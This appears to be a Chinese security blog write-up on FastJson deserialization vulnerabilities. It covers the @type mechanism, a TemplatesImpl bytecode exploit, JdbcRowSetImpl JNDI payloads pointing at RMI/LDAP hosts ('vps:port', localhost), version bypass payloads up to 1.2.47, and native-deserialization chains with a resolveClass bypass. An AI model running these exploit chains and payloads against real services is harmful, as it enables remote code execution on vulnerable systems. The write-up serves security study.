目录

  1. 1. 前言
  2. 2. 简介
  3. 3. demo
    1. 3.1. 序列化代码实现
    2. 3.2. 反序列化代码实现
  4. 4. 漏洞原理
    1. 4.1. 漏洞demo
  5. 5. FastJson<=1.2.24
    1. 5.1. TemplatesImpl链
    2. 5.2. JdbcRowSetImpl链(出网)
      1. 5.2.1. JNDI+RMI
      2. 5.2.2. JNDI+LDAP
    3. 5.3. BCEL不出网动态类加载
  6. 6. FastJson 高版本绕过
    1. 6.1. 1.2.25 的修复
    2. 6.2. 绕过
      1. 6.2.1. 1.2.25-1.2.42 (双写绕过)
      2. 6.2.2. 1.2.25-1.2.43
      3. 6.2.3. 1.2.25-1.2.45 (mybatis<3.5.0)
      4. 6.2.4. 1.2.25-1.2.47 (最常用)
  7. 7. FastJson 原生反序列化
    1. 7.1. toString链
      1. 7.1.1. 类查找
      2. 7.1.2. FastJson<=1.2.48
      3. 7.1.3. FastJson>1.2.48
        1. 7.1.3.1. 绕过 resolveClass
    2. 7.2. XString链
      1. 7.2.1. 调试
  8. 8. 版本探测

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

FastJson反序列化

2024/7/19 Web Java 反序列化
  |     |   总文章阅读量:

前言

参考:

https://natro92.fun/posts/ac90d224/

https://boogipop.com/2023/03/02/FastJson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

https://zer0peach.github.io/2023/09/24/FastJSON/

https://drun1baby.top/2022/08/04/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8701-Fastjson%E5%9F%BA%E7%A1%80

https://drun1baby.top/2022/08/08/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8703-Fastjson%E5%90%84%E7%89%88%E6%9C%AC%E7%BB%95%E8%BF%87%E5%88%86%E6%9E%90

https://xz.aliyun.com/news/12201

https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/


简介

Fastjson 是 Alibaba 开发的 Java 语言编写的高性能 JSON 库,用于将数据在 JSON 和 Java Object 之间互相转换。

提供两个主要接口来分别实现序列化和反序列化操作。

JSON.toJSONString 将 Java 对象转换为 json 对象,序列化的过程。

JSON.parseObject/JSON.parse 将 json 对象重新变回 Java 对象;反序列化的过程

所以可以简单的把 json 理解成是一个字符串


demo

依赖

<dependencies>
  <dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
  </dependency>
</dependencies>

序列化代码实现

定义一个 Student 类

package com.example;

public class Student {
    private String name;
    private int age;

    public Student() {
        System.out.println("构造函数");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }
}

然后写序列化的代码,调用 JSON.toJsonString() 来序列化 Student 类对象 :

package com.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class StudentSerialize {
    public static void main(String[] args) {
        Student student = new Student();
        student.setName("0w0");
        student.setAge(16);
        String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(jsonString);
    }
}

image-20241223115429334

调试一下JSON.toJsonString()序列化的逻辑

image-20241223115723785

进到 JSON#toJSONString,new 了一个 SerializeWriter 对象,至此序列化完成

注意到底下的 static 变量,是 members of JSON

image-20241223120012708

其中的 DEFAULT_TYPE_KEY 为 "@type"

继续往下看,new SerializeWriter 后的对象赋给 out

image-20241223120333472

这个 out 变量作为 JSONSerializer 类构造的参数

再往下就是 toString 返回序列化字符串了


那么核心就在 toJSONString 这里

String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);

观察第二个参数,SerializerFeature.WriteClassName,是 JSON.toJSONString() 中的一个设置属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,type 可以指定反序列化的类,并且调用其 getter/setter/is 方法

Fastjson 接受的 JSON 可以通过 @type 字段来指定该 JSON 应当还原成何种类型的对象,在反序列化的时候方便操作

image-20241223121704167

(如果没有设置的话就没有 @type)


反序列化代码实现

通过调用JSON.parseObject()实现反序列化

package com.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class StudentUnserialize {
    public static void main(String[] args) {
        String jsonString = "{\"@type\":\"com.example.Student\",\"age\":16,\"name\":\"0w0\"}";
        Student student = JSON.parseObject(jsonString, Student.class, Feature.SupportNonPublicField);
        System.out.println(student);
        System.out.println(student.getClass().getName());
        System.out.println(student.getName());
        System.out.println(student.getAge());
    }
}

漏洞原理

从前面的demo中我们可以看出,fastjson 在反序列化的时候会去找我们在 @type 中规定的类是哪个类,然后在反序列化的时候会自动调用这些 setter 与 getter 方法,但是调用的 setter 与 getter 方法是有条件的

满足条件的setter:

  • 非静态函数
  • 返回类型为void或当前类
  • 参数个数为1个

满足条件的getter:

  • 非静态方法
  • 无参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

那么,不同于之前Java原生的序列化和反序列化机制,Fastjson自己实现了一套序列化和反序列化机制

通过 Fastjson 反序列化漏洞,攻击者可以传入一个恶意构造的 JSON 内容,程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数,进而导致代码执行


由前面demo知道,Fastjson使用parseObject()/parse()进行反序列化的时候可以指定类型。如果指定的类型太大,包含太多子类,就有利用空间了。例如,如果指定类型为Object或JSONObject,则可以反序列化出来任意类。例如代码写Object o = JSON.parseObject(poc,Object.class)就可以反序列化出Object类或其任意子类,而 Object 又是任意类的父类,所以就可以反序列化出所有类。

而反序列化时会将反序列化得到的类的构造函数、getter方法、setter方法执行一遍,如果这三种方法中存在危险操作,则可能导致反序列化漏洞的存在,即要攻击的类中的这三种方法需要存在漏洞才能触发

DefaultJSONParser.parseObject(Map object, Object fieldName)中,JSON中以@type形式传入的类的时候,调用deserializer.deserialize()处理该类,并去调用这个类的settergetter方法:

public final Object parseObject(final Map object, Object fieldName) {
    ...
    // JSON.DEFAULT_TYPE_KEY即@type
    if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
        ...
        ObjectDeserializer deserializer = config.getDeserializer(clazz);
        return deserializer.deserialze(this, clazz, fieldName);

漏洞demo

对 student 类稍作修改,添加一个 getter 方法,里面有漏洞代码

package com.example;

import java.util.Properties;

public class Student {
    private String name;
    private int age;
    private String address;
    private Properties properties;

    public Student() {
        System.out.println("构造函数");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    //    public void setAge(int age) {
    //        System.out.println("setAge");
    //        this.age = age;
    //    }

    public String getAddress() {
        System.out.println("getAddress");
        return address;
    }

    public Properties getProperties() throws Exception{
        System.out.println("getProperties");
        Runtime.getRuntime().exec("calc");
        return properties;
    }
}

poc:

package com.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;

public class FastjsonEasyPoC {
    public static void main(String[] args){
        String jsonString ="{\"@type\":\"com.example.Student\",\"age\":16,\"name\":\"0w0\",\"address\":\"china\",\"properties\":{}}";

        Object obj = JSON.parseObject(jsonString, Object.class);
//        Student obj = JSON.parseObject(jsonString, Student.class, Feature.SupportNonPublicField);
        System.out.println(obj);
        System.out.println(obj.getClass().getName());
    }
}

image-20241223145633462

很明显,前面的 Demo 中反序列化的类是一个 Object 类,该类是任意类的父类,其子类 Student 存在 Fastjson 反序列化漏洞,当 @type 指向 Student 类是反序列化就会触发漏洞。

对于另一种反序列化指定类的情景,是该指定类本身就存在漏洞,比如我们将上述Demo中反序列化那行代码改成直接反序列化得到 Student 类而非 Object 类,这样就是另一个触发也是最直接的触发场景

Student obj = JSON.parseObject(jsonstring, Student.class, Feature.SupportNonPublicField);

FastJson<=1.2.24

1.2.22 <= Fastjson <= 1.2.24

依赖:

<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>3.2.0</version>
</dependency>
<dependency>
    <groupId>commons-io</groupId>
    <artifactId>commons-io</artifactId>
    <version>2.5</version>
</dependency>
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>
<dependency>
    <groupId>commons-codec</groupId>
    <artifactId>commons-codec</artifactId>
    <version>1.13</version>
</dependency>

一条是基于 TemplatesImpl 的链子,另一条是基于 JdbcRowSetImpl 的链子

TemplatesImpl链

此前在学字节码的时候就知道调用链如下:https://c1oudfl0w0.github.io/blog/2024/04/07/Java%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD%E5%AD%97%E8%8A%82%E7%A0%81/#TemplatesImpl-%E5%8A%A0%E8%BD%BD%E5%AD%97%E8%8A%82%E7%A0%81

TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

这里 getTransletInstance 就是一个 getter 方法,那么就满足了我们 fastjson 漏洞的利用条件

image-20241223233755223

但是有一个问题,getTransletInstance 方法返回值是 Translet 类型,是一个抽象类,没有继承自 Collection 或 Map 或 AtomicBoolean 或 AtomicInteger 或 AtomicLong

此时就要向上找链子了,根据之前对字节码的学习可以知道在最前面还有个 getOutputProperties 方法

image-20241223234655460

这里返回值类型是 Properties

image-20241223234757553

image-20241223234815137

Properties 继承自 Map 类型,那么满足了我们的需要

然后我们需要在 payload 里面给 _outputProperties 也赋个值

image-20241224000813127

于是就能构造payload了:

{
    "@type":\"" + NASTY_CLASS + "\",
    "_bytecodes\":[\""+evilCode+"\"],
    '_name':'0w0',
    '_tfactory':{ },
	"_outputProperties":{ }
}

exp:在反序列化的时候的参数需要加上 Object.classFeature.SupportNonPublicField,因为 getOutputProperties() 方法是私有的

package com.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

// TemplatesImpl 链子的 EXP
public class TemplatesImplPoc {
    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());
    }

    public static void main(String args[]){
        try {
            ParserConfig config = new ParserConfig();
            final String fileSeparator = System.getProperty("file.separator");
            final String evilClassPath = "D:/Code/Java/Java unserialize/demo/src/main/java/com/example/TempClass.class";
            String evilCode = readClass(evilClassPath);
            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
            String text1 = "{\"@type\":\"" + NASTY_CLASS +
                    "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'0w0','_tfactory':{ },\"_outputProperties\":{ },";
            System.out.println(text1);

            Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
            //Object obj = JSON.parse(text1, Feature.SupportNonPublicField);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

image-20241224001435478


JdbcRowSetImpl链(出网)

其实就是 JNDI 注入

基于 JdbcRowSetImpl 的利用链主要有两种利用方式,即 JNDI + RMI 和 JNDI + LDAP,都是属于基于 Bean Property 类型的 JNDI 的利用方式

JNDI+RMI

JDK 版本 8u161 < jdk < 8u191

JdbcRowSetImpl 类 JNDI 的部分在 connect 中

image-20241224003040401

这里既然是 getDateSourceName,那么找 setDataSourceName

image-20241224002541575

一看方法名就知道是设置数据库源,我们通过这个方式实现攻击

然后向上找调用 connect 方法的 setter 或 getter,优先找 setter,限制比较少

image-20241224003950586

找到 setAutoCommit,那么只要给 autoCommit 赋布尔值即可

payload:

{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"rmi://localhost:1099/Exploit",
    "autoCommit":true
}

exp:

package com.example;

import com.alibaba.fastjson.JSON;

// 基于 JdbcRowSetImpl 的利用链  
public class JdbcRowSetImplExp {
    public static void main(String[] args) {
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

使用 yakit 生成一个测试反连

image-20241224004624146

image-20241224004739150


JNDI+LDAP

原理一致

exp:

package com.example;

import com.alibaba.fastjson.JSON;

public class JdbcRowSetImplLdapExp {
    public static void main(String[] args) {
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1099/Exploit\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

BCEL不出网动态类加载


FastJson 高版本绕过

以下利用均需开启 AutoTypeSupport 才能成功

1.2.25 的修复

修补方案是将 DefaultJSONParser.parseObject() 函数中的TypeUtils.loadClass替换为 checkAutoType() 函数

绕过

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  
//开启autoTypeSupport 

1.2.25-1.2.42 (双写绕过)

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:1389/g0tvin","autoCommit":true}

1.2.25-1.2.43

修复了L; 以及双写,还对[做处理,利用这个处理进行绕过

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"rmi://vps:port/Exploit", "autoCommit":true}

1.2.25-1.2.45 (mybatis<3.5.0)

data_sourceinitial_context时写在initial_context

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://vps:port/TouchFile"}}


{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"2333","initial_context":"rmi://ip:port/TouchFile"}}

1.2.25-1.2.47 (最常用)

{
	"a": {
		"@type": "java.lang.Class",
		"val": "com.sun.rowset.JdbcRowSetImpl"
	},
	"b": {
		"@type": "com.sun.rowset.JdbcRowSetImpl",
		"dataSourceName": "rmi://vps/TouchFile",
		"autoCommit": true
	}
}

FastJson 原生反序列化

上面的内容都是基于解析 json 进行类方法实例化,不像之前 cc 链一样是通过继承 serialzable 接口,反序列化调用 readObject 方法来进行的

接下来分析在 fastjson 的环境下利用原生反序列化

toString链

类查找

既然是原生反序列化,我们就要在 FastJson 包里面找到继承 Serializable 接口的类,在 fastjson 包里搜索调用了 Serializable 的类

最后找到这两个类:JSONObjectJSONArray

image-20250216164908739

image-20250216164841277

以 JSONArray 类为例寻找利用,先去找入口点 readObject 方法

但是却发现 JSONArray 中并不存在 readObject 方法,并且它 extends 对应的 JSON 类也没有 readObject 方法,所以这里我们只有通过其他类的 readObject 方法来触发 JSONArray 或者 JSON 的某个方法来实现调用链

FastJson<=1.2.48

在 cc5 的时候,我们知道 BadAttributeValueExpException.readObject 可以调用 toString

fastjson 最经典的部分是自动触发 getter 来 getProperties 加载字节码,如何触发 getter 可以通过 JSON.parse 触发,也可以通过toJSONString 触发,而 JSON 这个类的 tostring 就是 toJSONString

image-20250213132035541

那么思路就是用 BadAttributeValueExpException 触发 toJSONString,然后再触发 TemplatesImpl 的 getOutputProperties 方法实现加载任意字节码最终触发恶意方法调用

poc 前半段套 Templates 链,中间加个 JSONArray 对象,后面用 cc5 同款 BadAttributeValueExpException

package com.example;

import com.alibaba.fastjson.JSONArray;
import com.example.Utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;

public class ToStringChain {
    public static void main(String[] args) throws Exception {
        byte[] code = Utils.GenerateEvil();
        TemplatesImpl obj = new TemplatesImpl();
        Utils.SetValue(obj, "_bytecodes", new byte[][] {code});
        Utils.SetValue(obj, "_name", "0w0");
        Utils.SetValue(obj, "_tfactory", new TransformerFactoryImpl());

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(obj);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Utils.SetValue(badAttributeValueExpException, "val", jsonArray);

        String barr = Utils.Serialize(badAttributeValueExpException);
        System.out.println(barr);
        Utils.UnSerialize(barr);
    }
}

image-20250216213349481


FastJson>1.2.48

从1.2.49开始,JSONArray 以及 JSONObject 方法开始真正有了自己的 readObject 方法

image-20250216214236192

这里用了 SecureObjectInputStream,跟一下

image-20250216214350884

SecureObjectInputStream 类当中重写了 resolveClass,通过调用了 checkAutoType 方法做类的检查

乍一看用 resolveClass 防住了,但是观察反序列化的过程会发现它是在不安全的 ObjectInputStream 基础上套了个安全的 SecureObjectInputStream:

ObjectInputStream -> readObject -> ... -> SecureObjectInputStream -> readObject -> resolveClass

正确的做法应该是生成一个继承 ObjectInputStream 的类并重写 resolveClass (假定为 TestInputStream),由它来做反序列化的入口,这样才是安全的,具体可以看一下 ctf 里常有的 resolveClass waf:

TestInputStream -> readObject -> resolveClass

那么我们需要去找一下什么情况下不会调用 resolveClass

绕过 resolveClass

跟踪一下 ObjectInputStream 中关于 resolveClass 的调用

image-20250216220159299

向上跟踪

image-20250216220507822

继续跟踪 readClassDesc,来到 readObject0,而 readObject 首先就是调用 readObject0(false),unshared 的值即为 false

try {
    switch (tc) {
        case TC_NULL:
            return readNull();

        case TC_REFERENCE:
            return readHandle(unshared);

        case TC_CLASS:
            return readClass(unshared);

        case TC_CLASSDESC:
        case TC_PROXYCLASSDESC:
            return readClassDesc(unshared);

        case TC_STRING:
        case TC_LONGSTRING:
            return checkResolve(readString(unshared));

        case TC_ARRAY:
            return checkResolve(readArray(unshared));

        case TC_ENUM:
            return checkResolve(readEnum(unshared));

        case TC_OBJECT:
            return checkResolve(readOrdinaryObject(unshared));

        case TC_EXCEPTION:
            IOException ex = readFatalException();
            throw new WriteAbortedException("writing aborted", ex);

        case TC_BLOCKDATA:
        case TC_BLOCKDATALONG:
            if (oldMode) {
                bin.setBlockDataMode(true);
                bin.peek();             // force header read
                throw new OptionalDataException(
                    bin.currentBlockRemaining());
            } else {
                throw new StreamCorruptedException(
                    "unexpected block data");
            }

        case TC_ENDBLOCKDATA:
            if (oldMode) {
                throw new OptionalDataException(true);
            } else {
                throw new StreamCorruptedException(
                    "unexpected end of block data");
            }

        default:
            throw new StreamCorruptedException(
                String.format("invalid type code: %02X", tc));
    }
}

仔细跟踪的话会发现这里不同 case 中的大部分类最终都会调用 readClassDesc 去获取类的描述符,在这个过程中如果当前反序列化数据下一位仍然是 TC_CLASSDESC 那么就会在 readNonProxyDesc 中触发 resolveClass

那么我们可选的只有不会调用 readClassDesc 的分支:TC_NULLTC_REFERENCETC_STRINGTC_LONGSTRINGTC_EXCEPTION

其中 null、string、exception 对我们毫无用处,只剩下 reference 引用类型


现在我们就要思考,如何在 JSONArray/JSONObject 对象反序列化恢复对象时,让我们的恶意类成为引用类型从而绕过 resolveClass 的检查

向List、set、map类型中添加同样对象时即可成功利用,当我们写入对象时,会在handles这个哈希表中建立从对象到引用的映射,当再次写入同一对象时,在handles这个hash表中查到了映射,那么就会通过writeHandle将重复对象以引用类型写入

以 List 为例:

ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(templates);
writeObjects(arrayList);

于是就可以以这个思路构建payload了:

这里以 HashMap 为例

package com.example;

import com.alibaba.fastjson.JSONArray;
import com.example.Utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;
import java.util.HashMap;

public class HighVerToStringChain {
    public static void main(String[] args) throws Exception {
        byte[] code = Utils.GenerateEvil();
        TemplatesImpl obj = new TemplatesImpl();
        Utils.SetValue(obj, "_bytecodes", new byte[][] {code});
        Utils.SetValue(obj, "_name", "0w0");
        Utils.SetValue(obj, "_tfactory", new TransformerFactoryImpl());

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(obj);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Utils.SetValue(badAttributeValueExpException, "val", jsonArray);

        HashMap hashMap = new HashMap();
        hashMap.put(obj,badAttributeValueExpException);

        String barr = Utils.Serialize(hashMap);
        System.out.println(barr);
        Utils.UnSerialize(barr);
    }
}

在反序列化的过程当中,因为我们引入了Map类型,第一个 readObject 方法先将 template 进行一次恢复,然后再恢复BadAttributeValueExpException对象,而在恢复 BadAttributeValueExpException 对象的过程中,因为我们传入了 val 对应的 JSONArray/JSONObject 对象,所以会触发第二个 readObject 方法,将这个过程在给 SecrueObjectInputStream 处理,因为我们这是第二次恢复 Templateslmpl 对象,所以是引用类型,通过 readHandle 哈希表的时候不会触发 resolveClass,从而实现了绕过


XString链

在 BadAttributeValueExpException 不可用时可以利用 XString 进行替代

西湖论剑2023[easy_api]

package com.example;


import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.xpath.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;

import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.HashMap;

public class XStringChain {
    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = Utils.getTemplatesImpl();

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(obj);


        HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonArray);
        HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));

//        HashMap<Object,Object> hashMap = new HashMap<>();
//        hashMap.put(h1,h1);
//        hashMap.put(h2,h2);
//
//        Class clazz=h2.getClass();
//        Field transformerdeclaredField = clazz.getDeclaredField("target");
//        transformerdeclaredField.setAccessible(true);
//        transformerdeclaredField.set(h2,new XString("xxx"));
        
        HashMap<Object,Object> hashMap = makeMap(h1,h2);


        String barr = Utils.Serialize(hashMap);
        System.out.println(barr);
        Utils.UnSerialize(barr);

    }

    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Utils.SetValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Utils.SetValue(s, "table", tbl);
        return s;
    }
}

调试

在 HashMap#readObject 下断点,因为我们最外层就是 HashMap

这里下在 putVal,和 urldns 链一样(注意要把 IDEA 调试时的 toString 对象视图关掉)

image-20250217015819564

第二次调用putVal,这里的key是一个HotSwappableTargetSource,这个类充当跳板作用,调用它的 equals 方法:

image-20250217020106612

image-20250217020138925

注意这里我们通过反射把 target 修改为 XString 方法了

跟进

image-20250217020505833

在这里发现 toString 方法,从而接上链子


版本探测

https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA